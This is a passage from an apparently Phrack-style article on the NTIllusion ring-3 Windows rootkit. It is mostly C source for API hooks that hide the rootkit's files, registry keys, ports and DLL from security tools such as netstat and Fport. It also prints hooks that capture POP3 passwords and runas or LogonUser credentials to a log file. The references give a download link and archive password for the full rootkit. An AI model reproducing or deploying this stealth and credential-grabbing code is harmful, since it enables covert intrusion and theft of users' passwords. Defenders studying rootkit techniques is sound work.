HANDLE WINAPI MyFindFirstFileA(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData)
{
        HANDLE hret= (HANDLE)1000;      /* return handle */
        int go_on=1;                    /* loop flag */

        /* Process request */
        hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

        /* Then filter: while we get a 'hidden file', we loop */
        while( go_on &&
          !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
          strlen(RTK_FILE_CHAR)))
        {
                go_on = fFindNextFileA(hret, lpFindFileData);
        }

        /* Oops, no more files? */
        if(!go_on)
                return INVALID_HANDLE_VALUE;

return hret;
}
---------------------- END EXAMPLE 5 -----------------------------
```

```
And now let’s replace FindNextFileA:
----------------------   EXAMPLE 6   -----------------------------
/* MyFindNextFileA : hides protected files from being listed */
BOOL WINAPI MyFindNextFileA(
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData
)
{
        BOOL ret;       /* return value */

        /* While we get a file that should not be shown, we get another : */
        do
{
                ret = fFindNextFileA(hFindFile, lpFindFileData);
        } while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
  strlen(RTK_FILE_CHAR)) && ret!=0);

/* We’re out of the loop so we may check if we broke because there
is no more files. If it’s the case, we may clear the
LPWIN32_FIND_DATA structure as this :
my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
        */
        return ret;
}
---------------------- END EXAMPLE 6 -----------------------------


-------[ 4.3. Registry
Preventing its launch source from being detected is also an unavoidable
feature for this kind of rootkit. To allow registry stealth, the rootkit
replaces the RegEnumValueW API inside the memory space of all processes.
The working mode of the new function is simple : if it detects itself
listing the content of a key that must be hidden, it returns 1 which
traduces an error. The only problem with this implementation is that the
calling process will stop asking for the listing of the content of the
registry key. Therefore, it will also hide subsequent keys. As the keys
are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing
that the key is hidden must be starting by a character of high ASCII code
so that it will be retrieved last and won’t bother.

----------------------   EXAMPLE 7   -----------------------------
/*  MyRegEnumValue : hide registry keys when a list is requested */
LONG WINAPI MyRegEnumValue(
HKEY    hKey,
DWORD   dwIndex,
LPWSTR  lpValueName,
LPDWORD lpcValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE  lpData,
LPDWORD lpcbData)
{
        LONG lRet; /* return value */
        char buf[256];
        /* Call genuine API, then process to hiding if needed */
        lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName,
    lpReserved, lpType, lpData,lpcbData);

         /* Convert string from Unicode */
        WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);

        /* If the key must be hidden... */
        if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
                lRet=1; /* then return 1 (error) */
        }

    return lRet;
}
---------------------- END EXAMPLE 7 -----------------------------
```

-------[4.4. Netstat like tools.
Network statistics tools are from far the most vicious. There's a lot of
ways to request the list of TCP/UDP used ports and the behavior of the
same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of
windows to another. This is especially true between NT/2000 and XP where
the network statistics start to include the process identifier of the
owner of each TCP connection. Whatever the way a process obtains these
statistics, some dialog has to be established with the TCP/UDP driver
sitting at kernel level (\Device\Tcp and \Device\Udp). This consists in
calls to DeviceIoControl to establish a request and receive the answer of
the driver. Hooking at this level is possible but from far risky and
nightmarish, since the structures and control codes used are undocumented
and change between windows versions. So the hooking has to be performed at
different level, depending on the quality of the requested information and
OS version.

As the rootkit must run under 2000 and XP, we have to consider different
cases.

-------[4.4.1. The case of windows 2000
Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that
associates a process identifier with a TCP stream does not exist yet, so
information provided by the API doesn't include this reference.

-------[4.4.1.1. Hooking GetTcpTable
The TCP statistics may officially be obtained by a call to GetTcpTable,
which retrieves the TCP connection table (MIB_TCPTABLE).

```
DWORD GetTcpTable(
  PMIB_TCPTABLE pTcpTable,
  PDWORD pdwSize,
  BOOL border
);
```

The functions takes three parameters. The last one, border, decides
whether the connection table should be sorted. Then, PdwSize specifies the
size of the buffer pointer by the pTcpTable parameter on input. On output,
if the buffer is not large enough to hold the returned connection table,
the function sets this parameter equal to the required buffer size.
Finally, pTcpTable points to a buffer that receives the TCP connection
table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection
table is available online. [GETTCP]

The MIB_TCPTABLE structure contains a table of TCP connections.
```
typedef struct _MIB_TCPTABLE {
  DWORD dwNumEntries;
  MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;
```
table is a pointer to a table of TCP connections implemented as an array
of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:
```
typedef struct _MIB_TCPROW {
  DWORD dwState;
  DWORD dwLocalAddr;
  DWORD dwLocalPort;
  DWORD dwRemoteAddr;
  DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;
```

While the dwState describes the state of a given connection, dwLocalAddr,
dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and
destination of the connection. We're interested in dwLocalPort and
dwRemotePort to determine if the port belongs to the secret range (between
RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden.
To hide a row in TCP table if needed, the MyGetTcpTable function shifts
the whole array, thus overwriting the unwanted memory zone.

```
----------------------   EXAMPLE 8   -----------------------------
/* MyGetTcpTable replacement for GetTcpTable.
  (error checks stripped)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
bOrder)
{
        u_long LocalPort=0;   /* remote port on local machine endianness*/
        u_long RemotePort=0;  /* local port on local machine endianness */
        DWORD dwRetVal=0, numRows=0; /* counters */
        int i,j;

        /*Call original function, if no error, strip unwanted MIB_TCPROWs*/
        dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
        if(dwRetVal == NO_ERROR)
        {
                /* for each row, test if it must be stripped */
                for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
                {
                        LocalPort       = (u_short) fhtons((u_short)
                           (pTcpTable)->table[i].dwLocalPort);

                        RemotePort      = (u_short) fhtons((u_short)
                           (pTcpTable)->table[i].dwRemotePort);

                        /* If row must be filtered */
                        if( IsHidden(LocalPort, RemotePort) )
                        {
                                /* Shift whole array */
                                for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
                                        memcpy( &(pTcpTable->table[i]),
                                                  &(pTcpTable->table[i+1]),
                                                  sizeof(MIB_TCPROW_));

                                /* Erase last row */
                                memset( &(pTcpTable->table[j]),
                                          0x00, sizeof(MIB_TCPROW_));

                                /* Reduce array size */
                                (*pdwSize)-= sizeof(MIB_TCPROW_);
                                (pTcpTable->dwNumEntries)--;
                        }
                }
        }

        return dwRetVal;
}
---------------------- END EXAMPLE 8 -----------------------------
```

Calling GetTcpTable is not the only way to get network statistics under windows 2000. Some programs, such as fport even provide the correspondence stream/pid and therefore deal directly with the TCP driver through the DeviceIoControl function. Hijacking this API is not a good idea as I explained before. In consequence, the approach I adopted is to target specific functions used by widespread security tools rather than hooking a level lower by replacing DeviceIoControl.

-------[4.4.1.2. Defeating netstat

In this version of windows, fport isn't the only one that deals directly with the TCP/UDP driver. This is also the case of netstat. To defeat these programs, we just have to replace functions that are involved in network statistic processing from DeviceIoControl call to screen output.

With netstat, the idea is to hook the CharToOemBuffA API that is used to perform characters set translations for each line before it is written to console output.

```
BOOL CharToOemBuff(
    LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
                        translate. */
    LPSTR lpszDst,   /* Pointer to the buffer for the translated
                        string.   */
    DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);
```

If the rootkit notices itself being translating a string containing a
hidden port, it just calls the function with a blank buffer, so the
translation will result in a blank buffer, and output won't show anything.

```
----------------------   EXAMPLE 9   -----------------------------
/* MyCharToOemBuffA : replace the function used by nestat to convert
strings to a different charset before it sends it to output, so we can get
rid of some awkward lines...  :)
*/
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
        /* If the line contains our port range, we simply get rid of
        it. */
        if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
        {
                /* We call the function, providing a blank string */
                return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
        }
        return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}
---------------------- END EXAMPLE 9 -----------------------------
```

As netstat calls the function for each line it writes, there is not
problem in avoiding whole ones.

-------[4.4.1.2. Defeating Fport
However, this is not the case of Fport, which processes output character
by character. I chose to hook the WriteFile API, and set up a buffer
mechanism so output is done line by line, and hiding therefore simpler.

```
----------------------   EXAMPLE 10  -----------------------------
/* Convert FPORT.exe's output mode from char by char to line by line to
allow hiding of lines containing ports to hide
*/
BOOL WINAPI MyWriteFile(
  HANDLE hFile,                    /* handle to file to write to */
  LPCVOID lpBuffer,                /* pointer to data to write to file */
  DWORD nNumberOfBytesToWrite,     /* number of bytes to write */
  LPDWORD lpNumberOfBytesWritten,  /* pointer to number of bytes written*/
  LPOVERLAPPED lpOverlapped        /* pointer to structure for overlapped
)                                                                 I/O*/
{
        BOOL bret=TRUE;                 /* Return value */
        char* chr = (char*)lpBuffer;
        static DWORD total_len=0;                /* static length counter */
        static char PreviousChars[2048*10];      /* static characters' buffer
    (bof?) */

        /* Add the new character */
        PreviousChars[total_len++] = chr[0];
        /* Check for line termination */
        if(chr[0] == '\r')
        {

                PreviousChars[total_len] = '\n';
                PreviousChars[++total_len] = '\0';

                /* show this line only if it contains no hidden port / process
                   prefix */
                if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL
                        && strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)
                {

                        /* Valid line, so process output */
                        bret = fWriteFile(hFile, (void*)PreviousChars,
                            strlen((char*)PreviousChars),
                            lpNumberOfBytesWritten,
                            lpOverlapped);
                }

                /* Clear settings */
                memset(PreviousChars, 0, 2048);
                total_len= 0;
        }

        /* fakes the var, so fport can't see output wasn't done */
        (*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

        return bret;
}
---------------------- END EXAMPLE 10 -----------------------------
```

-------[4.4.2. The case of windows XP
Under windows XP programs have not to deal with hell by interacting
directly the TCP/UDP driver as the windows API provides sufficient
statistics. Thus, the most widespread network tools (netstat, Fport,
Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on
the classic GetTcpTable depending on the needs. So, to cover the problem
under windows XP, the rootkit has just to replace the AllocateAndGetTcpEx
TableFromStack API. Searching the msdn about this functions is useless.
This is an undocumented function. However it exists some useful samples on
the web such as [NETSTATP] provided by SysInternals that are quite
explicit. The AllocateAndGetTcpExTableFromStack function takes the
following parameters.

```
DWORD AllocateAndGetTcpExTableFromStack(
  PMIB_TCPEXTABLE *pTcpTable,   /* buffer for the connection table */
  BOOL bOrder,                          /* sort the table? */
  HANDLE heap,                          /* handle to process heap obtained by
   calling GetProcessHeap() */
  DWORD zero,                           /* undocumented */
  DWORD flags                           /* undocumented */
)
```

The first parameter is the one interesting. It points to a MIB_TCPEXTABLE
structure, that stands for PMIB_TCPTABLE extended, looking as follows.

```
/* Undocumented extended information structures available
   only on XP and higher */
typedef struct {
  DWORD   dwState;        /* state of the connection */
  DWORD   dwLocalAddr;    /* address on local computer */
  DWORD   dwLocalPort;    /* port number on local computer */
  DWORD   dwRemoteAddr;   /* address on remote computer */
  DWORD   dwRemotePort;   /* port number on remote computer */
  DWORD   dwProcessId;    /* process identifier */
} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {
        DWORD                   dwNumEntries;
        MIB_TCPEXROW    table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;
```

This is the same as the structures employed to work with GetTcpTable, so
the replacement function's job will be somewhat identical.

```
----------------------   EXAMPLE 11  -----------------------------
/*
AllocateAndGetTcpExTableFromStack replacement. (error checks
stripped)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
  PMIB_TCPEXTABLEE *pTcpTable,
  BOOL bOrder,
  HANDLE heap,
  DWORD zero,
  DWORD flags
)
{
/* error handler, TcpTable walk index, TcpTable sort index */
DWORD err=0, i=0, j=0;
        char psname[512];                              /* process name */
        u_long LocalPort=0, RemotePort=0;       /* local & remote port */


        /* Call genuine function ... */
        err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
        zero,flags );

        /* Exit immediately on error */
        if(err)
                return err;

        /* ... and start to filter unwanted rows. This will hide all
        opened/listening/connected/closed/... sockets that belong to
        secret range or reside in a secret process
        */
        /* for each process... */
        for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
        {
                /* Get process name to filter secret processes' sockets */
                GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
                (char*)psname);
                /* convert from host to TCP/IP network byte order
        (which is big-endian)*/
                LocalPort       = (u_short) fhtons((u_short)
                (*pTcpTable)->table[i].dwLocalPort);
                RemotePort      = (u_short) fhtons((u_short)
                (*pTcpTable)->table[i].dwRemotePort);

                /* Decide whether to hide row or not */
                if(  !_strnicmp((char*)psname, RTK_FILE_CHAR,
                     strlen(RTK_FILE_CHAR))
                     ||  IsHidden(LocalPort, RemotePort) )
                {
                        /* Shift whole array*/
                        for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
                                memcpy( (&((*pTcpTable)->table[j])),
                                      (&((*pTcpTable)->table[j+1])),
                                   sizeof(MIB_TCPEXROWEx));

                        /* clear last row */
                        memset( (&((*pTcpTable)->table[((
                                (*pTcpTable)->dwNumEntries)-1)])),
                                 0, sizeof(MIB_TCPEXROWEx));

                        /* decrease row number */
                        ((*pTcpTable)->dwNumEntries)-=1;


                        /* do the job again for the current row, that may also
                           contain a hidden process */
                        continue;
                }

                /* this row was ok, jump to the next */
                i++;
        }
  return err;
}
---------------------- END EXAMPLE 11 -----------------------------
```

These replacement functions reside in kNTINetHide.c.

-------[4.5. Global TCP backdoor / password grabber
As the rootkit is injected in almost every user process, there’s a possibility to set up a global TCP backdoor by hijacking recv and WSARecv, allowing transforming any application (including a web server), into an opportune backdoor. This is complicated enough to be a whole project in itself so I focused on a password grabber virtually able to hijack passwords sent by any mail client [kSENTINEL]. Currently, it targets at Outlook and Netscape mail client but may easily be extended to other applications by playing with the #defines. It dynamically hijacks the TCP stream when the mail client deals with remote server. Therefore, it allows to grab USER and PASS commands to be used for later privileges escalation.

```
----------------------   EXAMPLE 12   -----------------------------
/* POP3 Password grabber. Replaces the send() socket function.
*/
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
        int retval=0;           /* Return value */
        char* packet;           /* Temporary buffer */

        if(!fSend)              /* no one lives for ever (error check) */
                return 0;

        /* Call original function */
        retval = fSend(s, buf, len, flags);

        /* packet is a temp buffer used to deal with the buf parameter
           that may be in a different memory segment, so we use the
           following memcpy trick.
        */
        packet = (char*) malloc((len+1) * sizeof(char));
        memcpy(packet, buf, len);

        /* Check if memory is readable */
        if(!IsBadStringPtr(packet, len))
        {
                /* Filter interesting packets (POP3 protocol) */
                if(strstr(packet, "USER") || strstr(packet, "PASS"))
                {
                        /* Interesting packet found! */

                        /* Write a string to logfile (%user
                        profile%\NTILLUSION_PASSLOG_FILE) */

                        Output2LogFile("’%s’\n", packet);
                }
        }


         free(packet);

     return retval;
}
---------------------- END EXAMPLE 12 -----------------------------
```

FTP logins and passwords may also be grabbed by adding the proper expression in the filter condition.

-------[4.6. Privilege escalation
Catching POP3 and FTP passwords may allow spreading on the local machine since users often use the same password on different accounts. Anyway when grabbing a password used to login as another user on the machine, there’s no doubt that the password will be efficient. Indeed, the rootkit logs attempts to impersonate another user from the desktop. This is the case when the user employs the runas command or selects "the run as user" menu by right clicking on an executable. The API involved in these situations are redirected so any successful login is carefully saved on hard disk for further use.

This is achieved through the replacement of LogonUserA and CreateProcess
WithLogonW.

The runas tool present on windows 2000/XP relies on CreateProcessWith
LogonW. Its replacement follows.

```
----------------------   EXAMPLE 13   ----------------------------
/* MyCreateProcessWithLogonW : collects logins/passwords employed to
create a process as a user. This Catches runas passwords. (runas
/noprofile /user:MyBox\User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername,             /* user name for log in request */
LPCWSTR lpDomain,                       /* domain name for log in request */
LPCWSTR lpPassword,             /* password for log in request */
DWORD dwLogonFlags,             /* logon options*/
LPCWSTR lpApplicationName,      /* application name... */
LPWSTR lpCommandLine,           /* command line */
DWORD dwCreationFlags,          /* refer to CreateProcess*/
LPVOID lpEnvironment,           /* environment vars*/
LPCWSTR lpCurrentDirectory,     /* base directory */
LPSTARTUPINFOW lpStartupInfo,   /* startup and process infor, see
CreateProcess */
LPPROCESS_INFORMATION lpProcessInfo)
{
        BOOL bret=false;        /* Return value */
        char line[1024];        /* Buffer used to set up log lines */

        /* 1st of all, log on the user */
        bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
    dwLogonFlags,lpApplicationName,lpCommandLine,
        dwCreationFlags,lpEnvironment,lpCurrentDirectory,
        lpStartupInfo,lpProcessInfo);

        /* Inject the created process if its name doesn't begin by
   RTK_FILE_CHAR (protected process) */
        /* Stripped [...] */

        /* Log the information for further use */
        memset(line, 0, 1024);
        if(bret)
        {
                sprintf(line, "Domain '%S' - Login '%S' - Password '%S'
        LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
        }
        else
        {
                sprintf(line, "Domain '%S' - Login '%S' - Password '%S'
                LOGON FAILED", lpDomain, lpUsername, lpPassword);
        }

        /* Log the line */
        Output2LogFile((char*)line);

  return bret;
}
---------------------- END EXAMPLE 13 ----------------------------
```

Under windows XP, explorer.exe offers a GUI to perform logon operations
from the desktop. This relies on LogonUser that may be replaced as below.
We're interested only in lpszUsername, lpszDomain and lpszPassword.

```
----------------------   EXAMPLE 14   ----------------------------
/* MyLogonUser : collects logins/passwords employed to log on from the
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR
lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
        char buf[1024]; /* Buffer used to set up log lines */
        /* Set up buffer */
        memset(buf, 0, 1024);
        sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n",
        lpszUsername,
        lpszPassword,
        lpszDomain);
        /* Log to disk */
        Output2LogFile((char*)buf);

        /* Perform LogonUser call */
        return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
        dwLogonType, dwLogonProvider, phToken);
}
---------------------- END EXAMPLE 14 -----------------------------
```

The grabbed data are sent to a log file at user profile's root and may be
encrypted using a simple 1 byte XOR key.

-------[4.7. Module stealth

As soon as it is loaded into a process, the rootkit hides its DLL.
Therefore, if the system does not hook LdrLoadDll or its equivalent at
kernel level, it appears that the rookit was never injected into
processes. The technique used below is very efficient against all programs
that rely on the windows API for enumerating modules. Due to the fact that
EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem
Information, and because this technique foils the manner this API
retrieves information, there's no way to be detected by this intermediary.
This defeats programs enumerating processes' modules such as ListDlls,
ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector.
[VICE]

The deception is possible in ring 3 since the kernel maintains a list of
each loaded DLL for a given process inside its memory space, in userland.
Therefore a process may affect himself and overwrite parts of its memory
in order to hide one of its module. These data structures are of course
undocumented but can be recovered by using the Process Environment Block
(PEB), located at FS:0x30 inside each process. The function below returns
the address of the PEB for the current process.

```
----------------------   EXAMPLE 15   -----------------------------
DWORD GetPEB()
{
        DWORD* dwPebBase = NULL;
        /* Return PEB address for current process
           address is located at FS:0x30 */
                __asm
                {
                        push eax
                        mov eax, FS:[0x30]
                        mov [dwPebBase], eax
                        pop eax
                }
        return (DWORD)dwPebBase;
}
---------------------- END EXAMPLE 15 -----------------------------
```

The role of the PEB is to gather frequently accessed information for a
process as follows. At address FS:0x30 (or 0x7FFDF000) stands the
following members of the [PEB].

```
/* located at 0x7FFDF000 */
typedef struct _PEB
{
  BOOLEAN                 InheritedAddressSpace;
  BOOLEAN                 ReadImageFileExecOptions;
  BOOLEAN                 BeingDebugged;
  BOOLEAN                 Spare;
  HANDLE                  Mutant;
  PVOID                   ImageBaseAddress;
  PPEB_LDR_DATA           LoaderData;
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
  [...]
  ULONG                   SessionId;
} PEB, *PPEB;
```

The interesting member in our case is PPEB_LDR_DATA LoaderData that
contains information filled by the loader at startup, and then when
happens a DLL load/unload.

```
typedef struct _PEB_LDR_DATA
{
  ULONG                   Length;
  BOOLEAN                 Initialized;
  PVOID                   SsHandle;
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
```

The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly
linked lists gathering information on loaded DLL in the current process.
InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList
in memory order, and InInitializationOrderModuleList keeps track of their
load order since process start.

These doubly linked list contains pointers to LDR_MODULE inside the parent
structure for next and previous module.

```
typedef struct _LDR_MODULE {

  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;
```

In fact, this is not exactly true since LIST_ENTRY have a special
behavior. Indeed, the base address of the surrounding object is computed
by subtracting the offset of the LIST_ENTRY member from it's address
(&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to
the another LIST_ENTRY inside the list, not to the owner of the list node.
This makes it possible to interlink objects in multiple lists without any
interference as explains Sven B. Schreiber in Undocumented Windows 2000
Secrets. To access InLoadOrderModuleList elements, we don't have to bother
about offsets since it is the first element of the LDR_MODULE structure so
it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the
case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY).
Similarly, to access the LDR_MODULE from InInitializationOrderModuleList
we just subtract 2*sizeof(LIST_ENTRY).
The following sample demonstrates how to walk one of these lists and throw
a module away according to its name (szDllToStrip).

```
----------------------   EXAMPLE 16   -----------------------------
/*  Walks one of the three modules double linked lists referenced by the
PEB  (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE  <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
```

```
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
        int i;  /* internal counter */
        DWORD PebBaseAddr, dwOffset=0;

        /* Module list head and iterating pointer */
        PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;

        /* PEB->PEB_LDR_DATA*/
        PPEB_LDR_DATA pLdrData;
        /* Module(s) name in UNICODE/AINSI*/
        PUNICODE_STRING pImageName;
        char szImageName[BUFMAXLEN];

        /* First, get Process Environment Block */
        PebBaseAddr = GetPEB(0);

        /* Compute PEB->PEB_LDR_DATA */
        pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
                                                PEB_LDR_DATA_OFFSET));

        /* Init linked list head and offset in LDR_MODULE  structure */
        if(ModuleListType == LOAD_ORDER_TYPE)
        {
                /* InLoadOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
                dwOffset = 0x0;
        } else if(ModuleListType == MEM_ORDER_TYPE)
        {
                /* InMemoryOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
                dwOffset = 0x08;
        } else if(ModuleListType == INIT_ORDER_TYPE)
        {
                /* InInitializationOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
                dwOffset = 0x10;
        }

        /* Now walk the selected list */
        do
        {
                /* Jump to next LDR_MODULE structure */
                pUserModuleListPtr = pUserModuleListPtr->Flink;
                pImageName = (PUNICODE_STRING)(
                             ((DWORD)(pUserModuleListPtr)) +
                             (LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

                /* Decode unicode string to lower case on the fly */
                for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++)
                  szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
                /* Null terminated string */
                szImageName[i] = '\0';

                /* Check if it's target DLL */
                if( strstr((char*)szImageName, szDllToStrip) != 0 )
                {
                        /* Hide this dll : throw this module away (out of
                           the double linked list)
                        (pUserModuleListPtr->Blink)->Flink =
                                (pUserModuleListPtr->Flink);
                        (pUserModuleListPtr->Flink)->Blink =
                                (pUserModuleListPtr->Blink);
                        /* Here we may also overwrite memory to prevent
                           recovering (paranoid only ;p) */
                }
        }       while(pUserModuleListPtr->Flink != pUserModuleListHead);

        return FUNC_SUCCESS;
}
---------------------- END EXAMPLE 16 -----------------------------
```

To process the three linked lists, the rootkit calls the HideDll function
below.

```
----------------------   EXAMPLE 17   -----------------------------
int HideDll(char *szDllName)
{
        return (        WalkModuleList(LOAD_ORDER_TYPE, szDllName)
                        &&      WalkModuleList(MEM_ORDER_TYPE, szDllName)
                        &&      WalkModuleList(INIT_ORDER_TYPE, szDllName)      );
}
---------------------- END EXAMPLE 17 -----------------------------
```

I never saw this method employed to hide a module but instead to recover
the base address of a DLL in elaborated shellcodes [PEBSHLCDE].
To end with this technique, I'll say that it is from far efficient against
ring 3 programs but becomes a little bit ineffective against a personal
firewall acting at kernel level, such as Sygate Personal Firewall. This
one cannot be defeated using the presented method and analysis of its
source code shows as it sets hooks in the kernel syscall table, thereby
being informed as soon as a DLL is loaded into any process and subsequent
hiding is useless. In a word, personal firewalls are the worst enemies of
userland rootkits.

-------[5. Ending

-------[5.1. Conclusion

The mechanisms presented in this paper are the result of long research and
experimentations. It shows up that ring 3 rootkit are an effective threat
for nowadays computer systems but may be defeated by a clever analysis of
the weakpoints they target. So this type of rootkit isn't perfect as data
may still be detected, even though they're from far more difficult to
notice. Keep in mind that the most important thing is not to cause
suspicion, and therefore not be detected. In a word, ring 3 rootkits are
perfect meantime to get administrative privilege on the local machine and
install a most adapted ring 0 rootkit that will be more suitable to reach
the maximum stealth.

-------[5.2. Greets

"If I have seen further it is by standing on the shoulders of giants."
This quotation from Isaac Newton (1676) perfectly describes the ways
things work. Therefore, my thanks first go to all authors that make the
internet a place of free information and exchanges. Without them you would
probably not be reading these lines. This is especially true for Ivo
Ivanov - thanks to you I discovered the world of API hooking -, Crazylord
who provided me precious information to set up my first device driver,
Holy_Father and Eclips for considering some questions about userland
take over. Added to that, I'd like to thank my friends and revisers that
helped me set up a more accessible paper. I hope this goal is achieved.
Finally, I salute my friends and teammates; you know who you are.
Special thanks to my buddy and personal unix consultant Artyc.

That's all folks!

"I tried so hard, and gone so far. But in the end, it doesnt even
matter..."

Kdm
Kodmaker@syshell.org
http://www.syshell.org/

-------[6. References

- [1]

```
http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt
- [NTillusion rootkit]
http://www.syshell.org/?r=../phrack62/NTIllusion.rar
Login/Pass       :       phrackreaders/ph4e#ho5
Rar password     :       0wnd4wurld
- [HIDINGEN]
http://rootkit.host.sk/knowhow/hidingen.txt
- [HOOKS] A HowTo for setting system wide hooks
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/
- [MSDN_HOOKS]
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/
WindowsUserInterface/Windowing/Hooks.asp
- [3WAYS] Three ways to inject your code into another process
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/
- [LSD] Win32 assembly components
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn
ject/
- [REMOTETH]
http://win32.mvps.org/processes/remthread.html
- [PE]
http://www.syshell.org/?r=Rootkit/PE/Doc/MattPietrek
- [IVANOV]
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5667/
- [UNLEASHED]
http://www.codeproject.com/system/api_monitoring_unleashed.asp
- [DETOURS] Detours win32 functions interception
http://research.microsoft.com/sn/detours/
[HKDEF_RTK] Hacker Defender rootkit
http://rootkit.host.sk/
- [HKDEF] Hacker Defender (Holy_Father 2002)
http://rootkit.host.sk/knowhow/hookingen.txt
- [ZOMBIE2] Entry point rewriting
http://www.syshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/
- [EXPLORIAT]
http://www.syshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log
- [MSDN] Microsoft Developers Network
http://msdn.microsoft.com/library/
- [NtQuerySystemInformation]
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/sysinfo/base/ntquerysysteminformation.asp
- [GETTCP] GetTcpTable
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/iphlp/iphlp/gettcptable.asp
- [NETSTATP] Netstat like
http://www.sysinternals.com/files/netstatp.zip
- [kSENTINEL] POP3 passwords grabber
http://www.syshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentine
l.c
- [FPORT] Network Tool
http://foundstone.com/resources/freetools/fport.zip
